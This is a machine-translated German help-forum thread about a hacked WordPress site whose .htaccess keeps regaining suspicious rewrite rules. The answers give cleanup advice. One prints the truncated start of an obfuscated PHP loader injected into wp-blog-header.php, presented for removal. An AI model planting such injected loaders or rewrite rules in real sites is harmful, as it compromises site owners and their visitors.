it-swarm.com.de

WordPress-Site gehackt. Wurde .htaccess gehackt?

Ich versuche, eine WordPress-Website zu bereinigen, die gehackt wurde. Ich habe festgestellt, dass in der .htaccess -Datei einige verdächtige reguläre Ausdrücke vorkommen, aber meine Regex-Fähigkeiten sind ziemlich schwach (ich nehme an, es ist Zeit zu lernen). Ich habe versucht, die .htaccess-Datei durch die Standard-WordPress-.htaccess-Datei zu ersetzen, aber sie wird sofort und automatisch neu geschrieben. Was ich wissen muss, ist, was mit diesem Code los ist:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Wenn der .htaccess kompromittiert wurde, haben Sie Vorschläge, wie Sie ihn sichern können?

Ich habe eine neue WordPress-Installation durchgeführt, alle Plugins aktualisiert/neu installiert, Passwörter zurückgesetzt, Captchas für Anmeldungen installiert, die WordPress-Installation in ein anderes Verzeichnis verschoben usw. Die Website schien für einige Tage in Ordnung zu sein, wurde aber erneut gehackt. So frustrierend!

7
Myles

Über gehackte Sites:

Lassen Sie uns zunächst einige Fragen zum Thema Hacken klären:

Wenn Ihre Site wirklich gehackt wurde, mussten Sie zunächst alle Dateien vollständig löschen und dann den Server (nicht nur WordPress) mit neuen Kennwörtern neu installieren, alle Dateien aktualisieren und vorherige Lücken identifizieren und entfernen, die dazu führten, dass die Site im ersten Schritt gehackt wurde An dieser Stelle wird nichts anderes bestätigen, dass die Site nicht erneut mit denselben Loop-Löchern gehackt wird.

Informationen zur Änderung von .htaccess:

Für mich sieht Ihre .htaccess-Modifikation nicht wie das Ergebnis von Hacking aus, sondern wie ein Teil von WordPress CODE (entweder von einem Plugin oder einem Theme), der die .htaccess-Datei aufgrund von URL-Umschreibungen umschreibt.

Schauen Sie sich dieses Beispiel aus Ihrem .htaccess CODE an:

RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]

Diese Zeile transformiert im Grunde eine URL, die beispielsweise so aussieht:

example.com/something-12-34-something-else.html?query=string

so fügen Sie eine Abfragezeichenfolge (intern zum Hauptcode index.php) hinzu, die folgendermaßen aussieht:

?something34=12&query=string

Also, im Grunde sehe ich nicht, wie ein Hacker davon etwas gewinnen wird. Es ist immer noch möglich, aber unwahrscheinlich.

Um zu testen, ob es tatsächlich von WordPress auf diese Weise umgeschrieben wird, können Sie den folgenden Test durchführen:

  1. Gehe zu wp-admin -> Settings -> Permalinks & klicke Save Changes Taste.

  2. Schreibe .htaccess mit dem standardmäßigen WordPress .htaccess CODE um.

  3. Gehen Sie nun erneut zu wp-admin -> Settings -> Permalinks und klicken Sie auf Save Changes Taste.

Wenn Ihre .htaccess-Datei von WordPress (Webserver) beschreibbar ist und dieser .htaccess-CODE von WordPress generiert wurde, wird Ihr Standard-WordPress-Code.htaccess nach dem obigen Vorgang sofort in den von Ihnen veröffentlichten geändert.

Was macht man als nächstes?

Wenn Sie die Änderungen, die von WordPress vorgenommen werden sollen, erfolgreich identifiziert haben, können Sie feststellen, welches Plugin oder Design dies tut, indem Sie die obigen Schritte erneut ausführen, nachdem Sie jedes installierte Plugin nacheinander deaktiviert haben.

Sobald das verantwortliche Plugin deaktiviert ist, wird die oben beschriebene Prozedur diese Änderung in der Datei .htaccess nicht mehr hervorrufen. Dann wissen Sie, welches Plugin dies tut, und können vielleicht besser verstehen, warum es dies tut. z.B. ob es sich um eine Funktion oder das Ergebnis böswilliger Aktivitäten handelt.

Wenn kein Plugin dafür gefunden wird, können Sie dasselbe mit dem Thema tun, indem Sie ein WordPress-Kernthema aktivieren (z. B. Twenty Seventeen).

Wenn keines der oben genannten Verfahren funktioniert, besteht Ihre nächste Möglichkeit wohl darin, einen Experten einzustellen, der Ihre Website untersucht.

1
Fayaz

Ich hatte vor einigen Monaten ein ähnliches Problem: Eine der Kundenwebseiten wurde gehackt und ich hatte Schwierigkeiten zu finden, wo. Ich kann Ihnen vorschlagen, auch die Datenbank auf Malware-Code zu untersuchen. In meinem Fall habe ich verdächtigen Code gefunden in:

  • Datenbank; FTP - Cache-Ordner, Haupt-WP-Ordner und andere nicht-WP-Ordner;
  • header.php Datei;
  • .htaccess und auch wp-config.

Ich kann Ihnen vorschlagen, alle diese Ordner manuell zu überprüfen und dann einige Plugins für andere Prüfungen wie Anti-Malware-Sicherheit und Brute-Force-Firewall zu installieren. Ich habe auch die Auth-Taste von WordPress neu generiert. Nach einer gründlichen Reinigung und einigen Sicherheitstricks, wie dem Ändern der Passwörter für FTP, WordPress und DB, dem Ändern der Benutzer-ID und dem Installieren eines Sicherheits-Plugins, wurde die Website bis jetzt nicht mehr gehackt. Ich bin mir nicht sicher, ob das dein Fall ist, aber ich hoffe, ich kann dir helfen.

Ich habe das Problem mit der .htaccess-Datei gelöst, indem ich die Datei wp-blog-header.php bereinigte. Das Skript, das für die .htaccess-Änderung verantwortlich ist, befindet sich dort und sieht folgendermaßen aus.

<?php
//header('Content-Type:text/html; charset=utf-8');
$OO0O_0_O0_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0_0O_O0O_='enhearse14625';
$OO0__O00_O=1921;
$O_0OO__00O='E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml';
$O_0OO_0O0_=871;
$O_OO_O00_0=1;
$O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
$OOO0__0O0_='';
$O__0O0_OO0='T2';
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}
?>

reinigen Sie einfach den ersten Teil und das Ende "?>" + .htaccess Reinigung und es sollte in Ordnung sein.

0
Claudiu Pap